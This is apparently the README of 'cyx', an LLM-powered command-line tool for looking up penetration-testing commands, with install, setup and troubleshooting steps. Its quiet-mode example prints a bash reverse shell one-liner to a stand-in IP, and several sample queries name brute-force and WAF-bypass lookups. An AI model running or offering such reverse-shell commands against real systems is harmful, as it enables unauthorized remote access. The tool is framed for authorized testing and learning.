3 unstable releases
| new 0.2.1 | Nov 3, 2025 |
|---|---|
| 0.2.0 | Nov 3, 2025 |
| 0.1.0 | Oct 31, 2025 |
#2520 in Command line utilities
215KB
5K
SLoC
Cyx
LLM-powered terminal tool for security command lookup. Supports Perplexity, Groq, and Ollama.
Features
- Command-first output with code blocks
- Learn mode for detailed explanations
- Smart cache with ONNX semantic search
- Local LLM support via Ollama
- Source attribution and links
Quick Start
# Install with one command
curl -sSL https://raw.githubusercontent.com/neur0map/cyx/master/install.sh | bash
# Or build from source
git clone https://github.com/neur0map/cyx.git
cd cyx
make install
# First time setup
cyx setup
# Use
cyx "nmap stealth scan"
cyx "sql injection bypass waf"
cyx --learn "linux privilege escalation"
Installation
Quick Install (Recommended)
One-line installer for Linux/macOS:
curl -sSL https://raw.githubusercontent.com/neur0map/cyx/master/install.sh | bash
This will:
- Download the latest release for your platform
- Install to
~/.local/bin(or custom location viaINSTALL_DIR) - Handle the ONNX Runtime library automatically
- Add to PATH if needed
- Run the setup wizard
Custom installation directory:
INSTALL_DIR=/usr/local/bin curl -sSL https://raw.githubusercontent.com/neur0map/cyx/master/install.sh | bash
Manual Installation
Note: Pre-built binaries will be available in GitHub Releases after tagging a new version (see below for instructions).
Download the latest release from Releases page and run:
# Extract the archive
tar -xzf cyx-v0.2.1-linux-x86_64.tar.gz
cd cyx-v0.2.1-linux-x86_64
# Run the installer script
bash install.sh
Or manually copy both files:
mkdir -p ~/.local/bin
cp cyx ~/.local/bin/
cp libonnxruntime* ~/.local/bin/
export PATH="$HOME/.local/bin:$PATH"
cyx setup
Important: The cyx binary requires the ONNX Runtime library. Both files must be kept together in the same directory.
Build from Source
Prerequisites
- Rust 1.70 or higher
- API key from Perplexity or Groq
Quick Build
git clone https://github.com/neur0map/cyx.git
cd cyx
make install # Builds, installs binary and library
cyx setup
Using Cargo Install
# Clone and navigate to the repository
git clone https://github.com/neur0map/cyx.git
cd cyx
# Install the binary
cargo install --path .
# Run setup - it will auto-detect and fix ONNX library issues
cyx setup
Auto-Fix Feature: When you run cyx setup or any command, cyx will automatically detect if the ONNX Runtime library is missing and attempt to fix it by:
- Locating the library in your cargo build cache
- Copying it to the binary directory
- Providing manual instructions if auto-fix fails
Manual Copy (if auto-fix doesn't work):
INSTALL_DIR=$(dirname $(which cyx))
cp target/release/libonnxruntime* $INSTALL_DIR/
Makefile Commands
make build # Build and create symlink for development
make check # Run fmt + clippy
make install # Install to system (includes library)
make setup # Run setup wizard
make help # Show all commands
Initial Configuration
After installation, run the interactive setup wizard:
cyx setup
This creates ~/.config/cyx/config.toml with your API key (stored with 600 permissions).
Usage
One-Shot Queries
# Quick command lookup
cyx "reverse shell one liner"
cyx "hydra ssh brute force"
# Learn mode with detailed explanations
cyx --learn "metasploit meterpreter"
cyx -l "nmap service detection"
CLI Options
-l, --learn Educational mode with detailed breakdowns
-q, --quiet Minimal output (response only, no formatting)
-v, --verbose Detailed progress information
--no-tty Disable TTY features for scripting
Configuration
cyx config show # View current config
cyx config set provider perplexity # Change provider
cyx setup # Re-run setup wizard
Config file: ~/.config/cyx/config.toml
Output Examples
Normal Mode
╭─── RESPONSE ──────────────────────────────────────────────
│ ```bash
│ nmap -sS <target>
│ ```
│ TCP SYN stealth scan - doesn't complete handshake. Requires root.
╰──────────────────────────────────────────────────────────
[*] SOURCES
───────────────────────────────────────
Provider: Perplexity (sonar-pro)
Search: Yes (performed web search)
Links:
- nmap documentation: https://nmap.org/book/synscan.html
- TCP protocol (RFC 793): https://www.ietf.org/rfc/rfc793.txt
Learn Mode
cyx --learn "nmap stealth scan"
Provides detailed explanations with flag breakdowns, protocol details, and alternatives.
Quiet Mode
$ cyx -q "reverse shell bash"
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
Troubleshooting
Error: libonnxruntime.so.1.16.0: cannot open shared object file
This error means the ONNX Runtime library is not in the library search path.
Automatic Fix:
Simply run:
cyx setup
Cyx will automatically detect the missing library and attempt to fix it by:
- Searching for the library in your cargo build cache
- Copying it to the correct location
- Providing manual instructions if needed
Manual Solutions:
If auto-fix doesn't work:
-
For cargo install users:
# Copy from build cache INSTALL_DIR=$(dirname $(which cyx)) cp target/release/libonnxruntime* $INSTALL_DIR/ -
For release downloads: Extract the full archive and ensure both files are together:
# Both files should be in the same directory ls -l # Should show: cyx and libonnxruntime.so.1.16.0 (or .dylib on macOS) -
System-wide installation:
sudo cp libonnxruntime* /usr/local/lib/ sudo ldconfig # Linux only
For more detailed troubleshooting, see BUILDING.md.
Creating a Release
To create a new release with automated binary builds for all platforms:
# Update version in Cargo.toml, then commit
git add Cargo.toml
git commit -m "Bump version to v0.2.2"
# Create and push a version tag
git tag v0.2.2
git push origin master
git push origin v0.2.2
This triggers the GitHub Actions workflow which will:
- Build binaries for Linux (x86_64, aarch64) and macOS (x86_64, aarch64)
- Bundle each binary with the ONNX Runtime library
- Include the install.sh script in release packages
- Create a GitHub Release with all artifacts
- Generate SHA256 checksums for verification
Technical Details
Security
- API keys stored with 600 permissions in
~/.config/cyx/config.toml - Read-only operation - provides commands but never executes them
- Timeout protection - all API calls timeout after 120 seconds
- Local-first - all sensitive data remains on your machine
System Prompts
Normal mode prioritizes executable commands with brief explanations. Learn mode provides detailed educational content with examples and alternatives.
Disclaimer
For authorized security testing, educational purposes, and defensive research only.
This tool is designed for:
- Professional penetration testers with written authorization
- Security students in controlled lab environments
- Capture The Flag (CTF) competitions
- Defensive security and threat analysis
Always obtain explicit permission before testing systems you don't own.
License
MIT License - See LICENSE for details.
Dependencies
~69MB
~1M SLoC